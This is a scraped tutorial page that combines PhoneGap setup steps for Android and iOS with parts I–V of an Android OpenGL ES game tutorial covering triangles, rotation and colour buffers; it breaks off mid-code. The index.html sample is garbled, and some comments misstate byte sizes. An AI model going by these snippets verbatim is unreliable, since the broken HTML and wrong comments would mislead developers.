<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.BROADCAST_STICKY" />
  • Add android:configChanges="orientation|keyboardHidden" to the activity tag in AndroidManifest. (view image below)
  • Add a second activity under you appliction tag in AndroidManifest. (view image below)
<activity android:name="com.phonegap.DroidGap" android:label="@string/app_name" android:configChanges="orientation|keyboardHidden"> <intent-filter> </intent-filter> </activity>

manifest

  • 4. Hello World

    Now create and open a new file named index.html in the /assets/www directory. Paste the following code:

    <!--DOCTYPE HTML>
    <html>
    <head>
    <title>PhoneGap</title>
    // <![CDATA[
    javascript
    " charset="utf-8" src="phonegap.js">
    // ]]>
    </head>
    <body>
    <h1>Hello World</h1>
    </body>
    </html>

    *phonegap.js might need to be replaced with phonegap..js

  • 5A. Deploy to Simulator

    • Right click the project and go to Run As and click Android Application
    • Eclipse will ask you to select an appropriate AVD. If there isn’t one, then you’ll need to create it.
  • 5B. Deploy to Device

    • Make sure USB debugging is enabled on your device and plug it into your system. (Settings > Applications > Development)
    • Right click the project and go to Run As and click Android Application
  • Done!

    You can also checkout more detailed version of this guide here.

  •  

    Install SDK + PhoneGap for AppleIOS device

    iOS SDK included in Xcode 3.1
    Image via Wikipedia
    • 1. Requirements for AppleIOS device

      Necessary for Installing on Device:

    • 2. Install SDK + PhoneGap

      Download and install Xcode from Apple Developer Portal (Membership required)

      Download the latest copy of PhoneGap and extract its contents. Navigate to the iOS directory and run the installer until completion.

    • 3. Setup New Project

      • Launch Xcode, then under the File menu select New and then New Project…
      • Select PhoneGap-based Application from the list of templates

      • Select the Next button, Fill in the “Product Name” & “Company Identifier” for your app

      • Choose a directory to store your app
      • You should see your project in Xcode 4 now. Press the Run button in the top left corner. Your build should succeed and launch in the simulator
      • You should see a error in your simulator informing you index.html was not found
      • To fix this, we need to copy the www directory into the project. Right click on the project in the left navigation window and click show in finder
      • In Finder, you should see the www directory beside your project
      • Next step is IMPORTANT! Drag the www folder into Xcode 4. You can’t just drag the www folder into your app’s folder. It needs to be dragged into Xcode 4!! In my case I would drag it and drop it on HiWorld shown below.

    • After you drag, you should see a prompt with a few options. Make sure to select Create folder references for any added folders. Click Finish
    • 4. Hello World

      Open the folder named www and type <h1>Hello World</h1> after the <body> tag in index.html. You can also add any associated Javascript and CSS files there as well.

    • 5A. Deploy to Simulator

      • Make sure to change the Active SDK in the top left menu to Simulator+version#.
      • Hit Run in your project window header.
    • 5B. Deploy to Device

      • Open [AppName]-Info.plist and change BundleIdentifier to the identifier provided by Apple. If you have a developer license, you can access and run the Assistant at here and register your App.
      • Make sure to change the Active SDK in the top left menu to Device+version#.
      • Hit Run in your project window header.

    • Done!

      You can also checkout more detailed version of this guide here

     

     

    Android 3D game tutorial – Part I

    The first part of this series will give you a short introduction to the OpenGL terminology and the first step in your 3D programming.

    The series itself will be about a 3D game called Vortex.
    The tutorial will focus on 3D programming, stuff like menu or life cycle may be part of the code but will not be introduced.

    Lets start with the terminology of OpenGL.

    Vertex
    A vertex is a point in 3D space and is the building block for many objects. In OpenGL you can specify as few as two coordinates (X,Y) and as many as four (X,Y,Z,W). The w-axis is optional, the default value is set to 1.0. The z-axis is also optional, the default value is set to 0. In this series, we will use the three main coordinates X, Y, and Z, since the W is generally used as a placeholder. The plural of vertex is vertices (mainly important for non native speakers, because it may create confusion). All objects are drawn using vertices as their points, so a point will refer to a vertex.

    Triangle
    A triangle requires three points to be created. So in OpenGL, we use three vertices to create one.

    Polygon
    A polygon is an object which has at least three connected points. Therefor a triangle is also a polygon.

    Primitives
    A primitive is a simple shape, like a line, point, or polygon (including a triangle, obviously). A model with 50,000 vertices is just a model, whether it’s a primitive or not depends on whether it’s a single polygon or is composed of many polygons. (Thanks to nil for clarification)

    Now we can start with the programming.
    We create a new project called Vortex, our activity will be named so, too.
    Our activity will look familiar:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    package com.droidnova.android.games.vortex;
    
    import android.app.Activity;
    import android.os.Bundle;
    
    public class Vortex extends Activity {
        private static final String LOG_TAG = Vortex.class.getSimpleName();
        private VortexView _vortexView;
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            _vortexView = new VortexView(this);
            setContentView(_vortexView);
        }
    }

    As you see, we already added our own view. Lets take a look right on our VortexView class.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    package com.droidnova.android.games.vortex;
    
    import android.content.Context;
    import android.opengl.GLSurfaceView;
    
    public class VortexView extends GLSurfaceView {
        private static final String LOG_TAG = VortexView.class.getSimpleName();
        private VortexRenderer _renderer;
    
        public VortexView(Context context) {
            super(context);
            _renderer = new VortexRenderer();
            setRenderer(_renderer);
        }
    }

    As you see, we inherit GLSurfaceView because it will help us manage the drawing. The next thing you should see is our VortexRenderer class.
    A renderer has the task to perform anything thats needed to draw a frame. Quote from references:

    The renderer is responsible for making OpenGL calls to render a frame.

    So lets take a look at this class:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    package com.droidnova.android.games.vortex;
    
    import javax.microedition.khronos.egl.EGLConfig;
    import javax.microedition.khronos.opengles.GL10;
    
    import android.opengl.GLSurfaceView;
    
    public class VortexRenderer implements GLSurfaceView.Renderer {
        private static final String LOG_TAG = VortexRenderer.class.getSimpleName();
    
        private float _red = 0.9f;
        private float _green = 0.2f;
        private float _blue = 0.2f;
    
        @Override
        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
            // Do nothing special.
        }
    
        @Override
        public void onSurfaceChanged(GL10 gl, int w, int h) {
            gl.glViewport(0, 0, w, h);
        }
    
        @Override
        public void onDrawFrame(GL10 gl) {
            // define the color we want to be displayed as the "clipping wall"
            gl.glClearColor(_red, _green, _blue, 1.0f);
            // clear the color buffer to show the ClearColor we called above...
            gl.glClear(GL10.GL_COLOR_BUFFER_BIT);
        }
    }

    Ok what do we have here?
    First we implemented the interface GLSurfaceView.Renderer which forces us to implement 3 methods calles onSurfaceCreated(), onSurfaceChanged() and onDrawFrame().
    These methods are easily to understand, the first one is called after the surface was created, the second if the surface changed, e.g. you switch from portrait to landscape and the last one anytime a drawing is requested.
    From line 11 to 13 we have floats defining each color of the RGB color system.
    On line 28 we define the the color of our “clipping wall” with the method glClearColor(). The “clipping wall” covers everything that is behind the distance we can see, so every object behind this “wall” is invisible. Imagine the wall as something like fog. Later we will set the distance to show how it works. At the moment it is absolutely sufficient that you know it exists.
    To make our color changes visible, we have to call glClear() with the mask for the color buffer to clear the buffer and use the new color for our “clipping wall”.

    To see that it is working, we will create a response to a MotionEvent which changes the color we set.
    First lets create a set for the color in our VortexRenderer class:

    1
    2
    3
    4
    5
    public void setColor(float r, float g, float b) {
        _red = r;
        _green = g;
        _blue = b;
    }

    Now the method in our VortexView class to handle the MotionEvent:

    1
    2
    3
    4
    5
    6
    7
    8
    public boolean onTouchEvent(final MotionEvent event) {
        queueEvent(new Runnable() {
            public void run() {
                _renderer.setColor(event.getX() / getWidth(), event.getY() / getHeight(), 1.0f);
            }
        });
        return true;
    }

    We create a new anonymous object of Runnable where the run() method call the setColor() method of the renderer with a bit of calculation depending on the MotionEvent coordinates.

    We now have a little app which uses OpenGL to change the background color :)
    In Germany we say in this case “Mit Kanonen auf Spatzen schießen”, you would say “He breaks a fly on the wheel.”. Thats absolute correct but it is the minimalistic example of working with OpenGL and you are now prepared for more!

    The last hint in this part is a documentation for OpenGL. The usability is nonexistent but at least it is a documentation.

    Sources as Eclipse project: Vortex Part I

    Screenshots:
    3d-part-one-turquoise3d-part-one-purple3d-part-one-blue

    Android 3D game tutorial – Part II

    The second part of this series will show you how to add a triangle and how to rotate it a bit.

    The first thing we have to do is to initialize the triangle we want to display. We have to create a function named initTriangle() in our VortexRenderer class.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    // new object variables we need
    // a raw buffer to hold indices
    private ShortBuffer _indexBuffer;
    
    // a raw buffer to hold the vertices
    private FloatBuffer _vertexBuffer;
    
    private short[] _indicesArray = {0, 1, 2};
    private int _nrOfVertices = 3;
    
    // code snipped
    
    private void initTriangle() {
        // float has 4 bytes
        ByteBuffer vbb = ByteBuffer.allocateDirect(_nrOfVertices * 3 * 4);
        vbb.order(ByteOrder.nativeOrder());
        _vertexBuffer = vbb.asFloatBuffer();
    
        // short has 2 bytes
        ByteBuffer ibb = ByteBuffer.allocateDirect(_nrOfVertices * 2);
        ibb.order(ByteOrder.nativeOrder());
        _indexBuffer = ibb.asShortBuffer();
    
        float[] coords = {
            -0.5f, -0.5f, 0f, // (x1, y1, z1)
            0.5f, -0.5f, 0f, // (x2, y2, z2)
            0f, 0.5f, 0f // (x3, y3, z3)
        };
    
        _vertexBuffer.put(coords);
        _indexBuffer.put(_indicesArray);
    
        _vertexBuffer.position(0);
        _indexBuffer.position(0);
    }

    Lets start with the new object variables. The _vertexBuffer will be filled with the coordinates for our triangle. The _indexBuffer stores the indices. The variable _nrOfVertices defines how many vertices are required. For a triangle we have three vertices.
    The method itself allocate the needed memory for both buffer (line 14 – 22). Than we define some coordinates (line 24 – 28) and the comments behind each row explains you, how you can read the coordinates.
    In line 30 we fill the _vertexBuffer with the coordinates stored on the coords array. The same with the indices array and the _indexBuffer on line 31. Finally we set both buffer to position 0.

    To prevent the initialization of the triangle for every frame, we just do it once in a function that will be called before onDrawFrame(). On choice could be the method onSurfaceCreated().

    1
    2
    3
    4
    5
    6
    @Override
    public void onSurfaceCreated(GL10 gl, EGLConfig config) {
        // preparation
        gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
        initTriangle();
    }

    glEnableClientState() set OpenGL to use vertex arrays to draw. Thats important to enable because otherwise OpenGL don’t know how to handle our data. Than we will initialize our triangle.

    Why do we have to work with different buffers? Lets take a look at the new onDrawFrame() method where we have to add some new OpenGL calls.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    @Override
    public void onDrawFrame(GL10 gl) {
        // define the color we want to be displayed as the "clipping wall"
        gl.glClearColor(_red, _green, _blue, 1.0f);
    
        // clear the color buffer to show the ClearColor we called above...
        gl.glClear(GL10.GL_COLOR_BUFFER_BIT);
    
        // set the color of our element
        gl.glColor4f(0.5f, 0f, 0f, 0.5f);
    
        // define the vertices we want to draw
        gl.glVertexPointer(3, GL10.GL_FLOAT, 0, _vertexBuffer);
    
        // finally draw the vertices
        gl.glDrawElements(GL10.GL_TRIANGLES, _nrOfVertices, GL10.GL_UNSIGNED_SHORT, _indexBuffer);
    }

    Ok now step for step:
    glClearColor() and glClear() should be known by the first part of the series.
    On line 10 we set the color for our triangle to a darker red using glColor4f(red, green, blue, alpha).
    On line 13 we initialize the vertex pointer using glVertexPointer(). The first parameter is for the size, also known as dimension of our vertices. Are we using just x and y or also z? We use all three dimensions. The second parameter, GL_FLOAT, defines the data type used in the buffer. The third parameter is 0 because our coordinates are tightly packed in the array, no offset used. And finally the fourth parameter is the buffer in which we have our vertices stored.
    The last call, glDrawElements(), will draw the elements. First parameter defines what kind of primitives have to rendered. The second element defines the number of elements and the third parameter the type of the values used for the indices. The last one is the index buffer which will be used to render the vertices.

    When you finally test the application, you will see a static triangle in the middle of your screen. The change of the color of your background should still work if you touch the screen.

    Lets add some rotation to the triangle. The following code must be implemented in our VortexRenderer class.

    1
    2
    3
    4
    5
    private float _angle;
    
    public void setAngle(float angle) {
        _angle = angle;
    }

    The glRotatef() method will be called in our onDrawFrame() right above glColor4f().

    1
    2
    3
    4
    5
    6
    7
    8
    @Override
    public void onDrawFrame(GL10 gl) {
        // set rotation
        gl.glRotatef(_angle, 0f, 1f, 0f);
    
        gl.glColor4f(0.5f, 0f, 0f, 0.5f);
        // code snipped
    }

    We rotate at the moment just around the y-axis. If you want to change this, simply change the 0f of the glRotatef() method call. The value of this parameter are for a vector which represent the axis on which the triangle will rotate.

    To make this work, we have to add a call to the onTouchEvent() method in our VortexView class.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public boolean onTouchEvent(final MotionEvent event) {
        queueEvent(new Runnable() {
            public void run() {
                _renderer.setColor(event.getX() / getWidth(), event.getY() / getHeight(), 1.0f);
                _renderer.setAngle(event.getX() / 10);
            }
        });
        return true;
    }

    The division through 10 is to reduce the speed of angle changing.

    Now compile and run the application. If you touch the screen at the most left side, you should see the triangle rotate slightly. If you move your finger to the right, the speed of the rotation should increase dramatically.

    Source as Eclipse project: Vortex Part II

    3d-part-two-triangle3d-part-two-triangle13d-part-two-triangle2

    Android 3D game tutorial – Part III

    The third part of this series will show you how to stop the rotation of the triangle and that the rotation really just work on the triangle and not the “camera”.

    We want to have more control over the rotation. To get that, we reset the matrix on every call of the onDrawFrame() method. This will reset the angle of our triangle so it always it stays rotated at the given angle on initialization.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    @Override
    public void onDrawFrame(GL10 gl) {
        // define the color we want to be displayed as the "clipping wall"
        gl.glClearColor(_red, _green, _blue, 1.0f);
    
        // reset the matrix - good to fix the rotation to a static angle
        gl.glLoadIdentity();
    
        // clear the color buffer and the depth buffer to show the ClearColor
        // we called above...
        gl.glClear(GL10.GL_COLOR_BUFFER_BIT);
    
        // code snipped
    }

    In the VortexView class you should remove the division by 10 to be able to rotate it more than a bit.

    1
    _renderer.setAngle(event.getX());

    If you try this, you will see the rotation will only goes the way our touch motion goes. If you don’t move the finger over the screen, it doesn’t change the rotation.

    The next thing: Do we rotate the triangle or the view/camera?
    To check that, the easiest way is to create a second triangle which will not rotate.
    The fastest but also dirtiest way to do this is to copy & paste the initTriangle() method to initStaticTriangle(), copy & paste both buffers and finally copy & paste and modify the last 4 lines of the onDrawFrame() method.
    Don’t forget to change the color of the second triangle and reduce the coordinates of the second triangle, so we can see both. I changed the every 0.5f coordinate to 0.4f.
    Here the full class:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    package com.droidnova.android.games.vortex;
    
    import java.nio.ByteBuffer;
    import java.nio.ByteOrder;
    import java.nio.FloatBuffer;
    import java.nio.ShortBuffer;
    
    import javax.microedition.khronos.egl.EGLConfig;
    import javax.microedition.khronos.opengles.GL10;
    
    import android.opengl.GLSurfaceView;
    
    public class VortexRenderer implements GLSurfaceView.Renderer {
        private static final String LOG_TAG = VortexRenderer.class.getSimpleName();
    
        private float _red = 0f;
        private float _green = 0f;
        private float _blue = 0f;
    
        // a raw buffer to hold indices allowing a reuse of points.
        private ShortBuffer _indexBuffer;
        private ShortBuffer _indexBufferStatic;
    
        // a raw buffer to hold the vertices
        private FloatBuffer _vertexBuffer;
        private FloatBuffer _vertexBufferStatic;
    
        private short[] _indicesArray = {0, 1, 2};
        private int _nrOfVertices = 3;
    
        private float _angle;
    
        @Override
        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
            // preparation
            gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
            initTriangle();
            initStaticTriangle();
        }
    
        @Override
        public void onSurfaceChanged(GL10 gl, int w, int h) {
            gl.glViewport(0, 0, w, h);
        }
    
        public void setAngle(float angle) {
            _angle = angle;
        }
    
        @Override
        public void onDrawFrame(GL10 gl) {
            // define the color we want to be displayed as the "clipping wall"
            gl.glClearColor(_red, _green, _blue, 1.0f);
    
            // reset the matrix - good to fix the rotation to a static angle
            gl.glLoadIdentity();
    
            // clear the color buffer to show the ClearColor we called above...
            gl.glClear(GL10.GL_COLOR_BUFFER_BIT);
    
            // draw the static triangle
            gl.glColor4f(0f, 0.5f, 0f, 0.5f);
            gl.glVertexPointer(3, GL10.GL_FLOAT, 0, _vertexBufferStatic);
            gl.glDrawElements(GL10.GL_TRIANGLES, _nrOfVertices, GL10.GL_UNSIGNED_SHORT, _indexBufferStatic);
    
            // set rotation for the non-static triangle
            gl.glRotatef(_angle, 0f, 1f, 0f);
    
            gl.glColor4f(0.5f, 0f, 0f, 0.5f);
            gl.glVertexPointer(3, GL10.GL_FLOAT, 0, _vertexBuffer);
            gl.glDrawElements(GL10.GL_TRIANGLES, _nrOfVertices, GL10.GL_UNSIGNED_SHORT, _indexBuffer);
    
        }
    
        private void initTriangle() {
            // float has 4 bytes
            ByteBuffer vbb = ByteBuffer.allocateDirect(_nrOfVertices * 3 * 4);
            vbb.order(ByteOrder.nativeOrder());
            _vertexBuffer = vbb.asFloatBuffer();
    
            // short has 4 bytes
            ByteBuffer ibb = ByteBuffer.allocateDirect(_nrOfVertices * 2);
            ibb.order(ByteOrder.nativeOrder());
            _indexBuffer = ibb.asShortBuffer();
    
            float[] coords = {
                -0.5f, -0.5f, 0f, // (x1, y1, z1)
                0.5f, -0.5f, 0f, // (x2, y2, z2)
                0f, 0.5f, 0f // (x3, y3, z3)
            };
    
            _vertexBuffer.put(coords);
    
            _indexBuffer.put(_indicesArray);
    
            _vertexBuffer.position(0);
            _indexBuffer.position(0);
        }
    
        private void initStaticTriangle() {
            // float has 4 bytes
            ByteBuffer vbb = ByteBuffer.allocateDirect(_nrOfVertices * 3 * 4);
            vbb.order(ByteOrder.nativeOrder());
            _vertexBufferStatic = vbb.asFloatBuffer();
    
            // short has 4 bytes
            ByteBuffer ibb = ByteBuffer.allocateDirect(_nrOfVertices * 2);
            ibb.order(ByteOrder.nativeOrder());
            _indexBufferStatic = ibb.asShortBuffer();
    
            float[] coords = {
                -0.4f, -0.4f, 0f, // (x1, y1, z1)
                0.4f, -0.4f, 0f, // (x2, y2, z2)
                0f, 0.4f, 0f // (x3, y3, z3)
            };
    
            _vertexBufferStatic.put(coords);
    
            _indexBufferStatic.put(_indicesArray);
    
            _vertexBufferStatic.position(0);
            _indexBufferStatic.position(0);
        }
    
        public void setColor(float r, float g, float b) {
            _red = r;
            _green = g;
            _blue = b;
        }
    }

    If you try this, you will see only one triangle rotate. If you want to rotate both, simply change the place where the rotation will be called to right above the comment “draw the static triangle”.

    Compile and run the application and you will see the green triangle rotate while the red triangle stays at the same angle.
    That should be prove enough for the answer, that we really only rotate the triangle and not the whole scene.

    Source as Eclipse project: Vortex Part III

    3d-part-three-triangle3d-part-three-triangle

     

    Android 3D game tutorial – Part IV

     

    The fourth part of this series will show you how to add some colors to you triangle.

    In the last part we created a second static triangle to prove the rotation of the triangle and not the entire scene. We will now get rid of this static triangle by removing the function initStaticTriangle(), removing both buffers, _indexBufferStatic and _vertexBufferStatic, used for it. We also have to remove the last 4 lines of code of our onDrawFrame() where we initialized the static triangle.
    The “new” onDrawFrame() method should now look like this:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    @Override
    public void onDrawFrame(GL10 gl) {
        // define the color we want to be displayed as the "clipping wall"
        gl.glClearColor(_red, _green, _blue, 1.0f);
    
        // reset the matrix - good to fix the rotation to a static angle
        gl.glLoadIdentity();
    
        // clear the color buffer to show the ClearColor we called above...
        gl.glClear(GL10.GL_COLOR_BUFFER_BIT);
    
        // set rotation for the non-static triangle
        gl.glRotatef(_angle, 0f, 1f, 0f);
    
        gl.glColor4f(0.5f, 0f, 0f, 0.5f);
        gl.glVertexPointer(3, GL10.GL_FLOAT, 0, _vertexBuffer);
        gl.glDrawElements(GL10.GL_TRIANGLES, _nrOfVertices, GL10.GL_UNSIGNED_SHORT, _indexBuffer);
    }

    Now we can create a new buffer which will keep the color informations. The _colorBuffer will be a object variable, but w need to define the colors and fill the buffer where we initialize the other buffers, in our initTriangle() method.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    // code snipped
    
    // a raw buffer to hold the colors
    private FloatBuffer _colorBuffer;
    
    // code snipped
    private void initTriangle() {
        // float has 4 bytes
        ByteBuffer vbb = ByteBuffer.allocateDirect(_nrOfVertices * 3 * 4);
        vbb.order(ByteOrder.nativeOrder());
        _vertexBuffer = vbb.asFloatBuffer();
    
        // short has 4 bytes
        ByteBuffer ibb = ByteBuffer.allocateDirect(_nrOfVertices * 2);
        ibb.order(ByteOrder.nativeOrder());
        _indexBuffer = ibb.asShortBuffer();
    
        // float has 4 bytes, 4 colors (RGBA) * number of vertices * 4 bytes
        ByteBuffer cbb = ByteBuffer.allocateDirect(4 * _nrOfVertices * 4);
        cbb.order(ByteOrder.nativeOrder());
        _colorBuffer = cbb.asFloatBuffer();
    
        float[] coords = {
            -0.5f, -0.5f, 0f, // (x1, y1, z1)
            0.5f, -0.5f, 0f, // (x2, y2, z2)
            0.5f, 0.5f, 0f // (x3, y3, z3)
        };
    
        float[] colors = {
            1f, 0f, 0f, 1f, // point 1
            0f, 1f, 0f, 1f, // point 2
            0f, 0f, 1f, 1f, // point 3
        };
    
        _vertexBuffer.put(coords);
        _indexBuffer.put(_indicesArray);
        _colorBuffer.put(colors);
    
        _vertexBuffer.position(0);
        _indexBuffer.position(0);
        _colorBuffer.position(0);
    }

    We create the object variable _colorBuffer of type FloatBuffer (line 4). In the method initTriangle() we allocate enough memory for the new color buffer (line 19-21). The we create a float array (line 23-27) with 4 values for each vertex. The structure is for RGBA (red, green, blue, alpha) so the first vertex will have the color red, the second green and the third is blue. The last two steps are equal to the _vertexBuffer. We put the color array into the buffer and set the position of the buffer to 0.

    With the preparation done, we can start to tell OpenGL ES to use color arrays too. This will be done by the method glEnableClientState() and, similar to the vertexBuffer, by calling glColorPointer().

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    @Override
    public void onSurfaceCreated(GL10 gl, EGLConfig config) {
        // preparation
        gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
        gl.glEnableClientState(GL10.GL_COLOR_ARRAY);
        initTriangle();
    }
    
    // code snipped
    
    @Override
    public void onDrawFrame(GL10 gl) {
        // code snipped
    
        // gl.glColor4f(0.5f, 0f, 0f, 0.5f);
        gl.glVertexPointer(3, GL10.GL_FLOAT, 0, _vertexBuffer);
        gl.glColorPointer(4, GL10.GL_FLOAT, 0, _colorBuffer);
        gl.glDrawElements(GL10.GL_TRIANGLES, _nrOfVertices, GL10.GL_UNSIGNED_SHORT, _indexBuffer);
    }

    On line 5 we enabled the color mode. On line 17 we set the color pointer. The parameter 4 stands for the RGBA (which are 4 values) and the rest should be familiar.
    As you may notice, we commented the line 15, because when we use the color mode, we don’t need glColor4f. It will be overridden, so we can comment it out or just delete it.

    Source as Eclipse project: Vortex Part IV

    3d-part-four-triangle13d-part-four-triangle

    Android 3D game tutorial – Part V

    The fifth part of this series will show you how you can create your first full 3d object. In this case a 4 sided pyramid.

    Some preparation will be needed to make our future development much easier.
    We have to be more dynamic in calculating our buffers and creating arrays with the correct size.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    private int _nrOfVertices = 0;
    
    private void initTriangle() {
        float[] coords = {
                // coodinates
        };
        _nrOfVertices = coords.length;
    
        float[] colors = {
                // colors
        };
    
        short[] indices = new short[] {
                // indices
        };
    
        // float has 4 bytes, coordinate * 4 bytes
        ByteBuffer vbb = ByteBuffer.allocateDirect(coords.length * 4);
        vbb.order(ByteOrder.nativeOrder());
        _vertexBuffer = vbb.asFloatBuffer();
    
        // short has 2 bytes, indices * 2 bytes
        ByteBuffer ibb = ByteBuffer.allocateDirect(indices.length * 2);
        ibb.order(ByteOrder.nativeOrder());
        _indexBuffer = ibb.asShortBuffer();
    
        // float has 4 bytes, colors (RGBA) * 4 bytes
        ByteBuffer cbb = ByteBuffer.allocateDirect(colors.length * 4);
        cbb.order(ByteOrder.nativeOrder());
        _colorBuffer = cbb.asFloatBuffer();
    
        _vertexBuffer.put(coords);
        _indexBuffer.put(indices);
        _colorBuffer.put(colors);
    
        _vertexBuffer.position(0);
        _indexBuffer.position(0);
        _colorBuffer.position(0);
    }

    To be more dynamically, we have to change some variables and the order we do something. Lets take a closer look:
    On line 1 you see we initialized our _nrOfVertices with 0 because we will determine it depending on the size of our coordinates array on line 7.
    We also changed the object variable known as _indicesArray to a local variable called indices and initialized on line 13.
    The buffer creation is moved below the arrays for coordinates, colors and indices because the buffer size depends directly on the arrays. So please take a look at lines 17-18, 22-23, 27-28. In the comments I explain the math.
    The main advantage is, that we can create more vertices without manually recalculate the number of vertices, sizes of arrays or buffers.

    Next step: You have to understand how OpenGL draws and determines what we see.
    A great disadvantage of OpenGL ES compared to OpenGL is the lack of more than just triangles as primitive types. We don’t have polygons, so every object we want to create have to be made of triangles.
    As this is harder to explain for me (as a non native speaker), I want to quote from a blog post of an IPhone developer and also recommend his OpenGL ES series, too.

    There are a few more things you need to know about triangles, however. In OpenGL, there is a concept known as winding, which just means that the order in which the vertices are drawn matters. Unlike objects in the real world, polygons in OpenGL do not generally have two sides to them. They have one side, which is considered the front face, and a triangle can only be seen if its front face if facing the viewer. While it is possible to configure OpenGL to treat polygons as two-sided, by default, triangles have only one visible side. By knowing which is the front or visible side of the polygon, OpenGL is able to do half the amount of calculations per polygon that it would have to do if both sides were visible.

    Although there are times when a polygon will stand on its own, and you might very well want the back drawn, usually a triangle is part of a larger object, and one side of the polygon will be facing the inside of the object and will never be seen. The side that isn’t drawn is called a backface, and OpenGL determines which is the front face to be drawn and which is the backface by looking at the drawing order of the vertices. The front face is the one that would be drawn by following the vertices in counter-clockwise order (by default, it can be changed). Since OpenGL can determine easily which triangles are visible to the user, it can use a process called Backface Culling to avoid doing work for polygons that aren’t facing the front of the viewport and, therefore, can’t be seen. We’ll discuss the viewport in the next posting, but you can think of it as the virtual camera, or virtual window looking into the OpenGL world.

    winding

    In the illustration above, the cyan triangle on the left is a backface and won’t be drawn because the order that the vertices would be drawn in relation to the viewer is clockwise. On the other hand, the triangle on the right is a frontface that will be drawn because the order of the vertices is counter-clockwise in relation to the viewer.

    As we now want to create a colorful pyramid, we first disable the glClearColor() depending on our touch event. So we can remove the variables _red, _green, _blue and the method setColor().
    We also want to change the navigation, so we will split the rotation into x and y axis.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    public class VortexRenderer implements GLSurfaceView.Renderer {
        private static final String LOG_TAG = VortexRenderer.class.getSimpleName();
    
        // a raw buffer to hold indices allowing a reuse of points.
        private ShortBuffer _indexBuffer;
    
        // a raw buffer to hold the vertices
        private FloatBuffer _vertexBuffer;
    
        // a raw buffer to hold the colors
        private FloatBuffer _colorBuffer;
    
        private int _nrOfVertices = 0;
    
        private float _xAngle;
        private float _yAngle;
    
        @Override
        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
            // code snipped
        }
    
        @Override
        public void onSurfaceChanged(GL10 gl, int w, int h) {
            gl.glViewport(0, 0, w, h);
        }
    
        public void setXAngle(float angle) {
            _xAngle = angle;
        }
    
        public float getXAngle() {
            return _xAngle;
        }
    
        public void setYAngle(float angle) {
            _yAngle = angle;
        }
    
        public float getYAngle() {
            return _yAngle;
        }
        // code snipped

    To be sure that you have the same object variables, I posted the top of the class, too. As you can see we have now two float variables for our angle, _xAngle and _yAngle (line 15-16) and their setter and getter (line 28-42).
    Now lets implement the logic to calculate the angle which depends on our touch event. To do this, we have to change our VortexView class a bit.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    // code snipped
    
    private float _x = 0;
    private float _y = 0;
    
    // code snipped
    
    public boolean onTouchEvent(final MotionEvent event) {
        if (event.getAction() == MotionEvent.ACTION_DOWN) {
            _x = event.getX();
            _y = event.getY();
        }
        if (event.getAction() == MotionEvent.ACTION_MOVE) {
            final float xdiff = (_x - event.getX());
            final float ydiff = (_y - event.getY());
            queueEvent(new Runnable() {
                public void run() {
